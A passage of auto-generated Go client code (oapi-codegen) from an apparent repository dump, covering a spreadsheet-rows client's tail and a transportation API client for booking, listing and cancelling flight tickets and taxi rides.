return nil, err 351 | } 352 | return ParsePostSheetsSheetRowsResponse(rsp) 353 | } 354 | 355 | // ParseGetSheetsSheetRowsResponse parses an HTTP response from a GetSheetsSheetRowsWithResponse call 356 | func ParseGetSheetsSheetRowsResponse(rsp *http.Response) (*GetSheetsSheetRowsResponse, error) { 357 | bodyBytes, err := io.ReadAll(rsp.Body) 358 | defer func() { _ = rsp.Body.Close() }() 359 | if err != nil { 360 | return nil, err 361 | } 362 | 363 | response := &GetSheetsSheetRowsResponse{ 364 | Body: bodyBytes, 365 | HTTPResponse: rsp, 366 | } 367 | 368 | switch { 369 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: 370 | var dest SpreadsheetRows 371 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 372 | return nil, err 373 | } 374 | response.JSON200 = &dest 375 | 376 | } 377 | 378 | return response, nil 379 | } 380 | 381 | // ParsePostSheetsSheetRowsResponse parses an HTTP response from a PostSheetsSheetRowsWithResponse call 382 | func ParsePostSheetsSheetRowsResponse(rsp *http.Response) (*PostSheetsSheetRowsResponse, error) { 383 | bodyBytes, err := io.ReadAll(rsp.Body) 384 | defer func() { _ = rsp.Body.Close() }() 385 | if err != nil { 386 | return nil, err 387 | } 388 | 389 | response := &PostSheetsSheetRowsResponse{ 390 | Body: bodyBytes, 391 | HTTPResponse: rsp, 392 | } 393 | 394 | return response, nil 395 | } 396 | -------------------------------------------------------------------------------- /common/clients/transportation/transportation.gen.go: -------------------------------------------------------------------------------- 1 | // Package transportation provides primitives to interact with the openapi HTTP API. 2 | // 3 | // Code generated by github.com/deepmap/oapi-codegen version v1.12.4 DO NOT EDIT. 4 | package transportation 5 | 6 | import ( 7 | "bytes" 8 | "context" 9 | "encoding/json" 10 | "fmt" 11 | "io" 12 | "net/http" 13 | "net/url" 14 | "strings" 15 | 16 | "github.com/deepmap/oapi-codegen/pkg/runtime" 17 | openapi_types "github.com/deepmap/oapi-codegen/pkg/types" 18 | ) 19 | 20 | // BookFlightTicketRequest defines model for BookFlightTicketRequest. 21 | type BookFlightTicketRequest struct { 22 | CustomerEmail string `json:"customer_email"` 23 | FlightId openapi_types.UUID `json:"flight_id"` 24 | IdempotencyKey string `json:"idempotency_key"` 25 | PassengerNames []string `json:"passenger_names"` 26 | ReferenceId string `json:"reference_id"` 27 | } 28 | 29 | // BookFlightTicketResponse defines model for BookFlightTicketResponse. 30 | type BookFlightTicketResponse struct { 31 | TicketIds []openapi_types.UUID `json:"ticket_ids"` 32 | } 33 | 34 | // ErrorResponse defines model for ErrorResponse. 35 | type ErrorResponse struct { 36 | Error string `json:"error"` 37 | } 38 | 39 | // FlightTicket defines model for FlightTicket. 40 | type FlightTicket struct { 41 | Cancelled bool `json:"cancelled"` 42 | CustomerEmail string `json:"customer_email"` 43 | FlightId openapi_types.UUID `json:"flight_id"` 44 | PassengerName string `json:"passenger_name"` 45 | ReferenceId string `json:"reference_id"` 46 | TicketId openapi_types.UUID `json:"ticket_id"` 47 | } 48 | 49 | // TaxiBooking defines model for TaxiBooking. 50 | type TaxiBooking struct { 51 | BookingId openapi_types.UUID `json:"booking_id"` 52 | Cancelled bool `json:"cancelled"` 53 | CustomerEmail string `json:"customer_email"` 54 | IdempotencyKey string `json:"idempotency_key"` 55 | NumberOfPassengers int `json:"number_of_passengers"` 56 | PassengerName string `json:"passenger_name"` 57 | ReferenceId string `json:"reference_id"` 58 | } 59 | 60 | // TaxiBookingRequest defines model for TaxiBookingRequest. 61 | type TaxiBookingRequest struct { 62 | CustomerEmail string `json:"customer_email"` 63 | IdempotencyKey string `json:"idempotency_key"` 64 | NumberOfPassengers int `json:"number_of_passengers"` 65 | PassengerName string `json:"passenger_name"` 66 | ReferenceId string `json:"reference_id"` 67 | } 68 | 69 | // TaxiBookingResponse defines model for TaxiBookingResponse. 70 | type TaxiBookingResponse struct { 71 | BookingId openapi_types.UUID `json:"booking_id"` 72 | } 73 | 74 | // PutFlightTicketsJSONRequestBody defines body for PutFlightTickets for application/json ContentType. 75 | type PutFlightTicketsJSONRequestBody = BookFlightTicketRequest 76 | 77 | // PutTaxiBookingJSONRequestBody defines body for PutTaxiBooking for application/json ContentType. 78 | type PutTaxiBookingJSONRequestBody = TaxiBookingRequest 79 | 80 | // RequestEditorFn is the function signature for the RequestEditor callback function 81 | type RequestEditorFn func(ctx context.Context, req *http.Request) error 82 | 83 | // Doer performs HTTP requests. 84 | // 85 | // The standard http.Client implements this interface. 86 | type HttpRequestDoer interface { 87 | Do(req *http.Request) (*http.Response, error) 88 | } 89 | 90 | // Client which conforms to the OpenAPI3 specification for this service. 91 | type Client struct { 92 | // The endpoint of the server conforming to this interface, with scheme, 93 | // https://api.deepmap.com for example. This can contain a path relative 94 | // to the server, such as https://api.deepmap.com/dev-test, and all the 95 | // paths in the swagger spec will be appended to the server. 96 | Server string 97 | 98 | // Doer for performing requests, typically a *http.Client with any 99 | // customized settings, such as certificate chains. 100 | Client HttpRequestDoer 101 | 102 | // A list of callbacks for modifying requests which are generated before sending over 103 | // the network. 104 | RequestEditors []RequestEditorFn 105 | } 106 | 107 | // ClientOption allows setting custom parameters during construction 108 | type ClientOption func(*Client) error 109 | 110 | // Creates a new Client, with reasonable defaults 111 | func NewClient(server string, opts ...ClientOption) (*Client, error) { 112 | // create a client with sane default values 113 | client := Client{ 114 | Server: server, 115 | } 116 | // mutate client and add all optional params 117 | for _, o := range opts { 118 | if err := o(&client); err != nil { 119 | return nil, err 120 | } 121 | } 122 | // ensure the server URL always has a trailing slash 123 | if !strings.HasSuffix(client.Server, "/") { 124 | client.Server += "/" 125 | } 126 | // create httpClient, if not already present 127 | if client.Client == nil { 128 | client.Client = &http.Client{} 129 | } 130 | return &client, nil 131 | } 132 | 133 | // WithHTTPClient allows overriding the default Doer, which is 134 | // automatically created using http.Client. This is useful for tests. 135 | func WithHTTPClient(doer HttpRequestDoer) ClientOption { 136 | return func(c *Client) error { 137 | c.Client = doer 138 | return nil 139 | } 140 | } 141 | 142 | // WithRequestEditorFn allows setting up a callback function, which will be 143 | // called right before sending the request. This can be used to mutate the request. 144 | func WithRequestEditorFn(fn RequestEditorFn) ClientOption { 145 | return func(c *Client) error { 146 | c.RequestEditors = append(c.RequestEditors, fn) 147 | return nil 148 | } 149 | } 150 | 151 | // The interface specification for the client above. 152 | type ClientInterface interface { 153 | // GetFlightTickets request 154 | GetFlightTickets(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) 155 | 156 | // PutFlightTickets request with any body 157 | PutFlightTicketsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) 158 | 159 | PutFlightTickets(ctx context.Context, body PutFlightTicketsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) 160 | 161 | // DeleteFlightTicketsTicketId request 162 | DeleteFlightTicketsTicketId(ctx context.Context, ticketId openapi_types.UUID, reqEditors ...RequestEditorFn) (*http.Response, error) 163 | 164 | // GetTaxiBooking request 165 | GetTaxiBooking(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) 166 | 167 | // PutTaxiBooking request with any body 168 | PutTaxiBookingWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) 169 | 170 | PutTaxiBooking(ctx context.Context, body PutTaxiBookingJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) 171 | 172 | // DeleteTaxiBookingBookingId request 173 | DeleteTaxiBookingBookingId(ctx context.Context, bookingId openapi_types.UUID, reqEditors ...RequestEditorFn) (*http.Response, error) 174 | } 175 | 176 | func (c *Client) GetFlightTickets(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) { 177 | req, err := NewGetFlightTicketsRequest(c.Server) 178 | if err != nil { 179 | return nil, err 180 | } 181 | req = req.WithContext(ctx) 182 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 183 | return nil, err 184 | } 185 | return c.Client.Do(req) 186 | } 187 | 188 | func (c *Client) PutFlightTicketsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { 189 | req, err := NewPutFlightTicketsRequestWithBody(c.Server, contentType, body) 190 | if err != nil { 191 | return nil, err 192 | } 193 | req = req.WithContext(ctx) 194 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 195 | return nil, err 196 | } 197 | return c.Client.Do(req) 198 | } 199 | 200 | func (c *Client) PutFlightTickets(ctx context.Context, body PutFlightTicketsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { 201 | req, err := NewPutFlightTicketsRequest(c.Server, body) 202 | if err != nil { 203 | return nil, err 204 | } 205 | req = req.WithContext(ctx) 206 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 207 | return nil, err 208 | } 209 | return c.Client.Do(req) 210 | } 211 | 212 | func (c *Client) DeleteFlightTicketsTicketId(ctx context.Context, ticketId openapi_types.UUID, reqEditors ...RequestEditorFn) (*http.Response, error) { 213 | req, err := NewDeleteFlightTicketsTicketIdRequest(c.Server, ticketId) 214 | if err != nil { 215 | return nil, err 216 | } 217 | req = req.WithContext(ctx) 218 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 219 | return nil, err 220 | } 221 | return c.Client.Do(req) 222 | } 223 | 224 | func (c *Client) GetTaxiBooking(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) { 225 | req, err := NewGetTaxiBookingRequest(c.Server) 226 | if err != nil { 227 | return nil, err 228 | } 229 | req = req.WithContext(ctx) 230 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 231 | return nil, err 232 | } 233 | return c.Client.Do(req) 234 | } 235 | 236 | func (c *Client) PutTaxiBookingWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { 237 | req, err := NewPutTaxiBookingRequestWithBody(c.Server, contentType, body) 238 | if err != nil { 239 | return nil, err 240 | } 241 | req = req.WithContext(ctx) 242 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 243 | return nil, err 244 | } 245 | return c.Client.Do(req) 246 | } 247 | 248 | func (c *Client) PutTaxiBooking(ctx context.Context, body PutTaxiBookingJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { 249 | req, err := NewPutTaxiBookingRequest(c.Server, body) 250 | if err != nil { 251 | return nil, err 252 | } 253 | req = req.WithContext(ctx) 254 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 255 | return nil, err 256 | } 257 | return c.Client.Do(req) 258 | } 259 | 260 | func (c *Client) DeleteTaxiBookingBookingId(ctx context.Context, bookingId openapi_types.UUID, reqEditors ...RequestEditorFn) (*http.Response, error) { 261 | req, err := NewDeleteTaxiBookingBookingIdRequest(c.Server, bookingId) 262 | if err != nil { 263 | return nil, err 264 | } 265 | req = req.WithContext(ctx) 266 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 267 | return nil, err 268 | } 269 | return c.Client.Do(req) 270 | } 271 | 272 | // NewGetFlightTicketsRequest generates requests for GetFlightTickets 273 | func NewGetFlightTicketsRequest(server string) (*http.Request, error) { 274 | var err error 275 | 276 | serverURL, err := url.Parse(server) 277 | if err != nil { 278 | return nil, err 279 | } 280 | 281 | operationPath := fmt.Sprintf("/flight-tickets") 282 | if operationPath[0] == '/' { 283 | operationPath = "." + operationPath 284 | } 285 | 286 | queryURL, err := serverURL.Parse(operationPath) 287 | if err != nil { 288 | return nil, err 289 | } 290 | 291 | req, err := http.NewRequest("GET", queryURL.String(), nil) 292 | if err != nil { 293 | return nil, err 294 | } 295 | 296 | return req, nil 297 | } 298 | 299 | // NewPutFlightTicketsRequest calls the generic PutFlightTickets builder with application/json body 300 | func NewPutFlightTicketsRequest(server string, body PutFlightTicketsJSONRequestBody) (*http.Request, error) { 301 | var bodyReader io.Reader 302 | buf, err := json.Marshal(body) 303 | if err != nil { 304 | return nil, err 305 | } 306 | bodyReader = bytes.NewReader(buf) 307 | return NewPutFlightTicketsRequestWithBody(server, "application/json", bodyReader) 308 | } 309 | 310 | // NewPutFlightTicketsRequestWithBody generates requests for PutFlightTickets with any type of body 311 | func NewPutFlightTicketsRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { 312 | var err error 313 | 314 | serverURL, err := url.Parse(server) 315 | if err != nil { 316 | return nil, err 317 | } 318 | 319 | operationPath := fmt.Sprintf("/flight-tickets") 320 | if operationPath[0] == '/' { 321 | operationPath = "." + operationPath 322 | } 323 | 324 | queryURL, err := serverURL.Parse(operationPath) 325 | if err != nil { 326 | return nil, err 327 | } 328 | 329 | req, err := http.NewRequest("PUT", queryURL.String(), body) 330 | if err != nil { 331 | return nil, err 332 | } 333 | 334 | req.Header.Add("Content-Type", contentType) 335 | 336 | return req, nil 337 | } 338 | 339 | // NewDeleteFlightTicketsTicketIdRequest generates requests for DeleteFlightTicketsTicketId 340 | func NewDeleteFlightTicketsTicketIdRequest(server string, ticketId openapi_types.UUID) (*http.Request, error) { 341 | var err error 342 | 343 | var pathParam0 string 344 | 345 | pathParam0, err = runtime.StyleParamWithLocation("simple", false, "ticket_id", runtime.ParamLocationPath, ticketId) 346 | if err != nil { 347 | return nil, err 348 | } 349 | 350 | serverURL, err := url.Parse(server) 351 | if err != nil { 352 | return nil, err 353 | } 354 | 355 | operationPath := fmt.Sprintf("/flight-tickets/%s", pathParam0) 356 | if operationPath[0] == '/' { 357 | operationPath = "." + operationPath 358 | } 359 | 360 | queryURL, err := serverURL.Parse(operationPath) 361 | if err != nil { 362 | return nil, err 363 | } 364 | 365 | req, err := http.NewRequest("DELETE", queryURL.String(), nil) 366 | if err != nil { 367 | return nil, err 368 | } 369 | 370 | return req, nil 371 | } 372 | 373 | // NewGetTaxiBookingRequest generates requests for GetTaxiBooking 374 | func NewGetTaxiBookingRequest(server string) (*http.Request, error) { 375 | var err error 376 | 377 | serverURL, err := url.Parse(server) 378 | if err != nil { 379 | return nil, err 380 | } 381 | 382 | operationPath := fmt.Sprintf("/taxi-booking") 383 | if operationPath[0] == '/' { 384 | operationPath = "." + operationPath 385 | } 386 | 387 | queryURL, err := serverURL.Parse(operationPath) 388 | if err != nil { 389 | return nil, err 390 | } 391 | 392 | req, err := http.NewRequest("GET", queryURL.String(), nil) 393 | if err != nil { 394 | return nil, err 395 | } 396 | 397 | return req, nil 398 | } 399 | 400 | // NewPutTaxiBookingRequest calls the generic PutTaxiBooking builder with application/json body 401 | func NewPutTaxiBookingRequest(server string, body PutTaxiBookingJSONRequestBody) (*http.Request, error) { 402 | var bodyReader io.Reader 403 | buf, err := json.Marshal(body) 404 | if err != nil { 405 | return nil, err 406 | } 407 | bodyReader = bytes.NewReader(buf) 408 | return NewPutTaxiBookingRequestWithBody(server, "application/json", bodyReader) 409 | } 410 | 411 | // NewPutTaxiBookingRequestWithBody generates requests for PutTaxiBooking with any type of body 412 | func NewPutTaxiBookingRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { 413 | var err error 414 | 415 | serverURL, err := url.Parse(server) 416 | if err != nil { 417 | return nil, err 418 | } 419 | 420 | operationPath := fmt.Sprintf("/taxi-booking") 421 | if operationPath[0] == '/' { 422 | operationPath = "." + operationPath 423 | } 424 | 425 | queryURL, err := serverURL.Parse(operationPath) 426 | if err != nil { 427 | return nil, err 428 | } 429 | 430 | req, err := http.NewRequest("PUT", queryURL.String(), body) 431 | if err != nil { 432 | return nil, err 433 | } 434 | 435 | req.Header.Add("Content-Type", contentType) 436 | 437 | return req, nil 438 | } 439 | 440 | // NewDeleteTaxiBookingBookingIdRequest generates requests for DeleteTaxiBookingBookingId 441 | func NewDeleteTaxiBookingBookingIdRequest(server string, bookingId openapi_types.UUID) (*http.Request, error) { 442 | var err error 443 | 444 | var pathParam0 string 445 | 446 | pathParam0, err = runtime.StyleParamWithLocation("simple", false, "booking_id", runtime.ParamLocationPath, bookingId) 447 | if err != nil { 448 | return nil, err 449 | } 450 | 451 | serverURL, err := url.Parse(server) 452 | if err != nil { 453 | return nil, err 454 | } 455 | 456 | operationPath := fmt.Sprintf("/taxi-booking/%s", pathParam0) 457 | if operationPath[0] == '/' { 458 | operationPath = "." + operationPath 459 | } 460 | 461 | queryURL, err := serverURL.Parse(operationPath) 462 | if err != nil { 463 | return nil, err 464 | } 465 | 466 | req, err := http.NewRequest("DELETE", queryURL.String(), nil) 467 | if err != nil { 468 | return nil, err 469 | } 470 | 471 | return req, nil 472 | } 473 | 474 | func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { 475 | for _, r := range c.RequestEditors { 476 | if err := r(ctx, req); err != nil { 477 | return err 478 | } 479 | } 480 | for _, r := range additionalEditors { 481 | if err := r(ctx, req); err != nil { 482 | return err 483 | } 484 | } 485 | return nil 486 | } 487 | 488 | // ClientWithResponses builds on ClientInterface to offer response payloads 489 | type ClientWithResponses struct { 490 | ClientInterface 491 | } 492 | 493 | // NewClientWithResponses creates a new ClientWithResponses, which wraps 494 | // Client with return type handling 495 | func NewClientWithResponses(server string, opts ...ClientOption) (*ClientWithResponses, error) { 496 | client, err := NewClient(server, opts...) 497 | if err != nil { 498 | return nil, err 499 | } 500 | return &ClientWithResponses{client}, nil 501 | } 502 | 503 | // WithBaseURL overrides the baseURL. 504 | func WithBaseURL(baseURL string) ClientOption { 505 | return func(c *Client) error { 506 | newBaseURL, err := url.Parse(baseURL) 507 | if err != nil { 508 | return err 509 | } 510 | c.Server = newBaseURL.String() 511 | return nil 512 | } 513 | } 514 | 515 | // ClientWithResponsesInterface is the interface specification for the client with responses above. 516 | type ClientWithResponsesInterface interface { 517 | // GetFlightTickets request 518 | GetFlightTicketsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetFlightTicketsResponse, error) 519 | 520 | // PutFlightTickets request with any body 521 | PutFlightTicketsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PutFlightTicketsResponse, error) 522 | 523 | PutFlightTicketsWithResponse(ctx context.Context, body PutFlightTicketsJSONRequestBody, reqEditors ...RequestEditorFn) (*PutFlightTicketsResponse, error) 524 | 525 | // DeleteFlightTicketsTicketId request 526 | DeleteFlightTicketsTicketIdWithResponse(ctx context.Context, ticketId openapi_types.UUID, reqEditors ...RequestEditorFn) (*DeleteFlightTicketsTicketIdResponse, error) 527 | 528 | // GetTaxiBooking request 529 | GetTaxiBookingWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetTaxiBookingResponse, error) 530 | 531 | // PutTaxiBooking request with any body 532 | PutTaxiBookingWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PutTaxiBookingResponse, error) 533 | 534 | PutTaxiBookingWithResponse(ctx context.Context, body PutTaxiBookingJSONRequestBody, reqEditors ...RequestEditorFn) (*PutTaxiBookingResponse, error) 535 | 536 | // DeleteTaxiBookingBookingId request 537 | DeleteTaxiBookingBookingIdWithResponse(ctx context.Context, bookingId openapi_types.UUID, reqEditors ...RequestEditorFn) (*DeleteTaxiBookingBookingIdResponse, error) 538 | } 539 | 540 | type GetFlightTicketsResponse struct { 541 | Body []byte 542 | HTTPResponse *http.Response 543 | JSON200 *[]FlightTicket 544 | } 545 | 546 | // Status returns HTTPResponse.Status 547 | func (r GetFlightTicketsResponse) Status() string { 548 | if r.HTTPResponse != nil { 549 | return r.HTTPResponse.Status 550 | } 551 | return http.StatusText(0) 552 | } 553 | 554 | // StatusCode returns HTTPResponse.StatusCode 555 | func (r GetFlightTicketsResponse) StatusCode() int { 556 | if r.HTTPResponse != nil { 557 | return r.HTTPResponse.StatusCode 558 | } 559 | return 0 560 | } 561 | 562 | type PutFlightTicketsResponse struct { 563 | Body []byte 564 | HTTPResponse *http.Response 565 | JSON201 *BookFlightTicketResponse 566 | JSON400 *ErrorResponse 567 | } 568 | 569 | // Status returns HTTPResponse.Status 570 | func (r PutFlightTicketsResponse) Status() string { 571 | if r.HTTPResponse != nil { 572 | return r.HTTPResponse.Status 573 | } 574 | return http.StatusText(0) 575 | } 576 | 577 | // StatusCode returns HTTPResponse.StatusCode 578 | func (r PutFlightTicketsResponse) StatusCode() int { 579 | if r.HTTPResponse != nil { 580 | return r.HTTPResponse.StatusCode 581 | } 582 | return 0 583 | } 584 | 585 | type DeleteFlightTicketsTicketIdResponse struct { 586 | Body []byte 587 | HTTPResponse *http.Response 588 | } 589 | 590 | // Status returns HTTPResponse.Status 591 | func (r DeleteFlightTicketsTicketIdResponse) Status() string { 592 | if r.HTTPResponse != nil { 593 | return r.HTTPResponse.Status 594 | } 595 | return http.StatusText(0) 596 | } 597 | 598 | // StatusCode returns HTTPResponse.StatusCode 599 | func (r DeleteFlightTicketsTicketIdResponse) StatusCode() int { 600 | if r.HTTPResponse != nil { 601 | return r.HTTPResponse.StatusCode 602 | } 603 | return 0 604 | } 605 | 606 | type GetTaxiBookingResponse struct { 607 | Body []byte 608 | HTTPResponse *http.Response 609 | JSON200 *[]TaxiBooking 610 | } 611 | 612 | // Status returns HTTPResponse.Status 613 | func (r GetTaxiBookingResponse) Status() string { 614 | if r.HTTPResponse != nil { 615 | return r.HTTPResponse.Status 616 | } 617 | return http.StatusText(0) 618 | } 619 | 620 | // StatusCode returns HTTPResponse.StatusCode 621 | func (r GetTaxiBookingResponse) StatusCode() int { 622 | if r.HTTPResponse != nil { 623 | return r.HTTPResponse.StatusCode 624 | } 625 | return 0 626 | } 627 | 628 | type PutTaxiBookingResponse struct { 629 | Body []byte 630 | HTTPResponse *http.Response 631 | JSON201 *TaxiBookingResponse 632 | JSON400 *ErrorResponse 633 | } 634 | 635 | // Status returns HTTPResponse.Status 636 | func (r PutTaxiBookingResponse) Status() string { 637 | if r.HTTPResponse != nil { 638 | return r.HTTPResponse.Status 639 | } 640 | return http.StatusText(0) 641 | } 642 | 643 | // StatusCode returns HTTPResponse.StatusCode 644 | func (r PutTaxiBookingResponse) StatusCode() int { 645 | if r.HTTPResponse != nil { 646 | return r.HTTPResponse.StatusCode 647 | } 648 | return 0 649 | } 650 | 651 | type DeleteTaxiBookingBookingIdResponse struct { 652 | Body []byte 653 | HTTPResponse *http.Response 654 | } 655 | 656 | // Status returns HTTPResponse.Status 657 | func (r DeleteTaxiBookingBookingIdResponse) Status() string { 658 | if r.HTTPResponse != nil { 659 | return r.HTTPResponse.Status 660 | } 661 | return http.StatusText(0) 662 | } 663 | 664 | // StatusCode returns HTTPResponse.StatusCode 665 | func (r DeleteTaxiBookingBookingIdResponse) StatusCode() int { 666 | if r.HTTPResponse != nil { 667 | return r.HTTPResponse.StatusCode 668 | } 669 | return 0 670 | } 671 | 672 | // GetFlightTicketsWithResponse request returning *GetFlightTicketsResponse 673 | func (c *ClientWithResponses) GetFlightTicketsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetFlightTicketsResponse, error) { 674 | rsp, err := c.GetFlightTickets(ctx, reqEditors...) 675 | if err != nil { 676 | return nil, err 677 | } 678 | return ParseGetFlightTicketsResponse(rsp) 679 | } 680 | 681 | // PutFlightTicketsWithBodyWithResponse request with arbitrary body returning *PutFlightTicketsResponse 682 | func (c *ClientWithResponses) PutFlightTicketsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PutFlightTicketsResponse, error) { 683 | rsp, err := c.PutFlightTicketsWithBody(ctx, contentType, body, reqEditors...) 684 | if err != nil { 685 | return nil, err 686 | } 687 | return ParsePutFlightTicketsResponse(rsp) 688 | } 689 | 690 | func (c *ClientWithResponses) PutFlightTicketsWithResponse(ctx context.Context, body PutFlightTicketsJSONRequestBody, reqEditors ...RequestEditorFn) (*PutFlightTicketsResponse, error) { 691 | rsp, err := c.PutFlightTickets(ctx, body, reqEditors...) 692 | if err != nil { 693 | return nil, err 694 | } 695 | return ParsePutFlightTicketsResponse(rsp) 696 | } 697 | 698 | // DeleteFlightTicketsTicketIdWithResponse request returning *DeleteFlightTicketsTicketIdResponse 699 | func (c *ClientWithResponses) DeleteFlightTicketsTicketIdWithResponse(ctx context.Context, ticketId openapi_types.UUID, reqEditors ...RequestEditorFn) (*DeleteFlightTicketsTicketIdResponse, error) { 700 | rsp, err := c.DeleteFlightTicketsTicketId(ctx, ticketId, reqEditors...) 701 | if err != nil { 702 | return nil, err 703 | } 704 | return ParseDeleteFlightTicketsTicketIdResponse(rsp) 705 | } 706 | 707 | // GetTaxiBookingWithResponse request returning *GetTaxiBookingResponse 708 | func (c *ClientWithResponses) GetTaxiBookingWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetTaxiBookingResponse, error) { 709 | rsp, err := c.GetTaxiBooking(ctx, reqEditors...) 710 | if err != nil { 711 | return nil, err 712 | } 713 | return ParseGetTaxiBookingResponse(rsp) 714 | } 715 | 716 | // PutTaxiBookingWithBodyWithResponse request with arbitrary body returning *PutTaxiBookingResponse 717 | func (c *ClientWithResponses) PutTaxiBookingWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PutTaxiBookingResponse, error) { 718 | rsp, err := c.PutTaxiBookingWithBody(ctx, contentType, body, reqEditors...) 719 | if err != nil { 720 | return nil, err 721 | } 722 | return ParsePutTaxiBookingResponse(rsp) 723 | } 724 | 725 | func (c *ClientWithResponses) PutTaxiBookingWithResponse(ctx context.Context, body PutTaxiBookingJSONRequestBody, reqEditors ...RequestEditorFn) (*PutTaxiBookingResponse, error) { 726 | rsp, err := c.PutTaxiBooking(ctx, body, reqEditors...) 727 | if err != nil { 728 | return nil, err 729 | } 730 | return ParsePutTaxiBookingResponse(rsp) 731 | } 732 | 733 | // DeleteTaxiBookingBookingIdWithResponse request returning *DeleteTaxiBookingBookingIdResponse 734 | func (c *ClientWithResponses) DeleteTaxiBookingBookingIdWithResponse(ctx context.Context, bookingId openapi_types.UUID, reqEditors ...RequestEditorFn) (*DeleteTaxiBookingBookingIdResponse, error) { 735 | rsp, err := c.DeleteTaxiBookingBookingId(ctx, bookingId, reqEditors...) 736 | if err != nil { 737 | return nil, err 738 | } 739 | return ParseDeleteTaxiBookingBookingIdResponse(rsp) 740 | } 741 | 742 | // ParseGetFlightTicketsResponse parses an HTTP response from a GetFlightTicketsWithResponse call 743 | func ParseGetFlightTicketsResponse(rsp *http.Response) (*GetFlightTicketsResponse, error) { 744 | bodyBytes, err := io.ReadAll(rsp.Body) 745 | defer func() { _ = rsp.Body.Close() }() 746 | if err != nil { 747 | return nil, err 748 | } 749 | 750 | response := &GetFlightTicketsResponse{ 751 | Body: bodyBytes, 752 | HTTPResponse: rsp, 753 | } 754 | 755 | switch { 756 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: 757 | var dest []FlightTicket 758 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 759 | return nil, err 760 | } 761 | response.JSON200 = &dest 762 | 763 | } 764 | 765 | return response, nil 766 | } 767 | 768 | // ParsePutFlightTicketsResponse parses an HTTP response from a PutFlightTicketsWithResponse call 769 | func ParsePutFlightTicketsResponse(rsp *http.Response) (*PutFlightTicketsResponse, error) { 770 | bodyBytes, err := io.ReadAll(rsp.Body) 771 | defer func() { _ = rsp.Body.Close() }() 772 | if err != nil { 773 | return nil, err 774 | } 775 | 776 | response := &PutFlightTicketsResponse{ 777 | Body: bodyBytes, 778 | HTTPResponse: rsp, 779 | } 780 | 781 | switch { 782 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 201: 783 | var dest BookFlightTicketResponse 784 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 785 | return nil, err 786 | } 787 | response.JSON201 = &dest 788 | 789 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 400: 790 | var dest ErrorResponse 791 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 792 | return nil, err 793 | } 794 | response.JSON400 = &dest 795 | 796 | } 797 | 798 | return response, nil 799 | } 800 | 801 | // ParseDeleteFlightTicketsTicketIdResponse parses an HTTP response from a DeleteFlightTicketsTicketIdWithResponse call 802 | func ParseDeleteFlightTicketsTicketIdResponse(rsp *http.Response) (*DeleteFlightTicketsTicketIdResponse, error) { 803 | bodyBytes, err := io.ReadAll(rsp.Body) 804 | defer func() { _ = rsp.Body.Close() }() 805 | if err != nil { 806 | return nil, err 807 | } 808 | 809 | response := &DeleteFlightTicketsTicketIdResponse{ 810 | Body: bodyBytes, 811 | HTTPResponse: rsp, 812 | } 813 | 814 | return response, nil 815 | } 816 | 817 | // ParseGetTaxiBookingResponse parses an HTTP response from a GetTaxiBookingWithResponse call 818 | func ParseGetTaxiBookingResponse(rsp *http.Response) (*GetTaxiBookingResponse, error) { 819 | bodyBytes, err := io.ReadAll(rsp.Body) 820 | defer func() { _ = rsp.Body.Close() }() 821 | if err != nil { 822 | return nil, err 823 | } 824 | 825 | response := &GetTaxiBookingResponse{ 826 | Body: bodyBytes, 827 | HTTPResponse: rsp, 828 | } 829 | 830 | switch { 831 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: 832 | var dest []TaxiBooking 833 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 834 | return nil, err 835 | } 836 | response.JSON200 = &dest 837 | 838 | } 839 | 840 | return response, nil 841 | } 842 | 843 | // ParsePutTaxiBookingResponse parses an HTTP response from a PutTaxiBookingWithResponse call 844 | func ParsePutTaxiBookingResponse(rsp *http.Response) (*PutTaxiBookingResponse, error) { 845 | bodyBytes, err := io.ReadAll(rsp.Body) 846 | defer func() { _ = rsp.Body.Close() }() 847 | if err != nil { 848 | return nil, err 849 | } 850 | 851 | response := &PutTaxiBookingResponse{ 852 